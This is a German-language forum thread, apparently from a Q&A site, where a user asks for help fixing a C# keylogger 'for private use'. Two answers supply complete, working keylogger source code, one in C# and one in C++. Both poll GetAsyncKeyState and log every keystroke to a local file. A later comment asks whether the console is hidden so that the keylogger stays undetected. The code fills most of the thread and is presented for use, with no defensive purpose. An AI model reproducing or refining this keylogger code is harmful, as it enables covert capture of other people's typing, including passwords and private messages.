Keylogger in C#?
Hallo,
ich möchte einen Keylogger für den privaten Gebrauch programmieren, wenn möglich in C#. Ich habe mich jetzt mit diversen Tutorials befasst und habe inzwischen verstanden, dass ich mit dem Befehl GetAsyncKeyState und so einem dll befehl arbeiten muss. Nur in der Praxis funktioniert es leider nicht und selbst wenn ich ein Tutorial wie dieses hier: https://www.youtube.com/watch?v=_y3BAQs8-uc
befolge, wird die erstellte Log-File nicht gefüllt. Könnte vielleicht irgendwer über den dort verwendeten Code schauen und ggf. diesen verbessern?
3 Antworten
Zunächst mal: Der Typ, der das Tutorial gemacht hat sollte entweder seinen Akzent oder sein Mikrofon auswechseln... ^^
Aber zum eigentlichen Code: Im Grunde als rudimentäre Skizze ganz okay, bis auf das andauernde Öffnen und Schließen der Ausgabedatei.
Ich habs mal "ein klein wenig" umstrukturiert, aufgeräumt und (zumindest etwas) optimiert:
using System;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Threading;
using System.IO;
namespace Keylogger{
class Program{
[DllImport("user32.dll")]
private static extern ushort GetAsyncKeyState(int i);
static void Main(string[] args){
//Name der Ausgabedatei
string path = "log.txt";
//Verhindert, dass ein Tastendruck von mehr als 10 Millisekunden die Ausgabe überschwemmt (dazu später mehr)
bool[] keyStates = new bool[0xff];
//Es reicht aus, den Writer einmal zu erstellen...
TextWriter writer = File.Exists(path) ? File.AppendText(path) : File.CreateText(path);
KeysConverter converter = new KeysConverter();
//Auch die Variable für den Tastenstatus kann ausserhalb der Schleife deklariert werden.
ushort keyState;
//Zum sauberen Beenden des Programms
bool stop = false;
Console.CancelKeyPress += delegate(object sender, ConsoleCancelEventArgs e){
stop = true;
e.Cancel = true;
};
//Und los gehts.
while(!stop){
Thread.Sleep(10);
for(int i = 0; i < keyStates.Length; i++){
keyState = GetAsyncKeyState(i);
//Wenn der Rückgabewert von GetAsyncKeyState 0 ist und im zuvor erwähnten Array an der entsprechenden Stelle true steht:
if(keyState == 0 && keyStates[i]){
//Eine Zeile in die Ausgabe schreiben, die besagt "Taste losgelassen".
writer.WriteLine("UP: {0}", converter.ConvertToString(i));
writer.Flush();
//Den Wert im Array auf false setzen.
keyStates[i] = false;
}
//Wenn jedoch das erste und/oder das letzte Bit im Rückgabewert gesetzt sind (siehe dazu auch die Windows-API-Dokumentation) und der entsprechende Arraywert false ist
else if((keyState & 0x8001) != 0 && !keyStates[i]){
//Eine Zeile in die Ausgabe schreiben, die besagt "Taste gedrückt".
writer.WriteLine("DOWN: {0}", converter.ConvertToString(i));
writer.Flush();
//Den Wert im Array auf true setzen.
keyStates[i] = true;
}
}
}
writer.Close();
}
}
}
Hallo MrMu1,
ich habe in der Schule auch an einen Keylogger getüftelt:
#include <iostream>
#include <conio.h>
#include <stdio.h>
#include <windows.h>
#include <fstream>
using namespace std;
int main()
{
//Logteiler erstellen
string keylog;
ofstream log;
log.open("keylog.txt",ios::app);
log << "Neuer Log eintrag------------------------- \n" << endl << endl;
log.close();
while(1)
{
for(int vkey=0;vkey<256;vkey++)
{
if(GetAsyncKeyState(vkey)==-32767)
{
switch(vkey)
{
case 65:
keylog = keylog + "a";
break;
case 66:
keylog = keylog + "b";
break;
case 67:
keylog = keylog + "c";
break;
case 68:
keylog = keylog + "d";
break;
case 69:
keylog = keylog + "e";
break;
case 70:
keylog = keylog + "f";
break;
case 71:
keylog = keylog + "g";
break;
case 72:
keylog = keylog + "h";
break;
case 73:
keylog = keylog + "i";
break;
case 74:
keylog = keylog + "j";
break;
case 75:
keylog = keylog + "k";
break;
case 76:
keylog = keylog + "l";
break;
case 77:
keylog = keylog + "m";
break;
case 78:
keylog = keylog + "n";
break;
case 79:
keylog = keylog + "o";
break;
case 80:
keylog = keylog + "p";
break;
case 81:
keylog = keylog + "q";
break;
case 82:
keylog = keylog + "r";
break;
case 83:
keylog = keylog + "s";
break;
case 84:
keylog = keylog + "t";
break;
case 85:
keylog = keylog + "u";
break;
case 86:
keylog = keylog + "v";
break;
case 87:
keylog = keylog + "w";
break;
case 88:
keylog = keylog + "x";
break;
case 89:
keylog = keylog + "y";
break;
case 90:
keylog = keylog + "z";
break;
case 49:
keylog = keylog + "1";
break;
case 50:
keylog = keylog + "2";
break;
case 51:
keylog = keylog + "3";
break;
case 52:
keylog = keylog + "4";
break;
case 53:
keylog = keylog + "5";
break;
case 54:
keylog = keylog + "6";
break;
case 55:
keylog = keylog + "7";
break;
case 56:
keylog = keylog + "8";
break;
case 57:
keylog = keylog + "9";
break;
case 48:
keylog = keylog + "0";
break;
case 32:
keylog = keylog + " ";
break;
case 8:
keylog.erase(keylog.end() - 1);
break;
}//switch
cout << keylog;
ofstream log;
log.open("keylog.txt",ios::trunc);
log << keylog;
log.close();
}//if
}//for
}//while
}//main
Vielleicht hilft er dir weiter. Soweit ich mich noch richtig erinnern kann hat alles einwandfrei funktioniert.
Gruß
Ein Blick in die ASCII-Tabelle verrät, dass dein Programm falsch läuft. Der Wert 65 steht nicht für das kleine, sondern für das große A. Die folgenden Werte sind daher auch falsch zugeordnet.
Doch dem nicht genug, birgt das switch-case unnötigen Aufwand. Der Wert von vkey müsste eigentlich nur gecastet werden, um das entsprechende Zeichen zu erhalten.
Beispiel:
char letter = (char)65;
std::cout << letter;
Ach alles gut, hab das Log nur am falschen Ort gesucht
Wenn ich jetzt noch Großbuchstaben und Sonderzeichen etc. einfügen wollen würde müsste ich das einfach nach dem gleichen System machen?
Schätze schon, soweit hatte ich das leider noch nicht erstellt.
Ist glaube ich ein Dec. Code.
https://www.genuinecoder.com/wp-content/uploads/2012/07/asciifull.gif
Hier eine Tabelle dazu.
Könntest du mal deine Code z.b auf www.pastebin.com hochladen?
Hoffe das funktioniert hab pastebin noch nie benutzt
Du hast also keine Konsole? Oder versteckt du diese damit der Keylogger unentdeckt bleibt?
Doch ich krieg ne Konsole, aber nichts was ich eintippe wirt in mein Log kopiert.
Hast du die Datei Mal als admin gestartet. Manchmal kann der Standart Benutzer nicht im Ordner schreiben.
Funkt immer noch nicht. Könnte es daran liegen, dass die log datei in D und nicht auf dem Boot-Drive C liegt?
Komisch. Eben hats funktioniert. Jetzt nicht mehr:(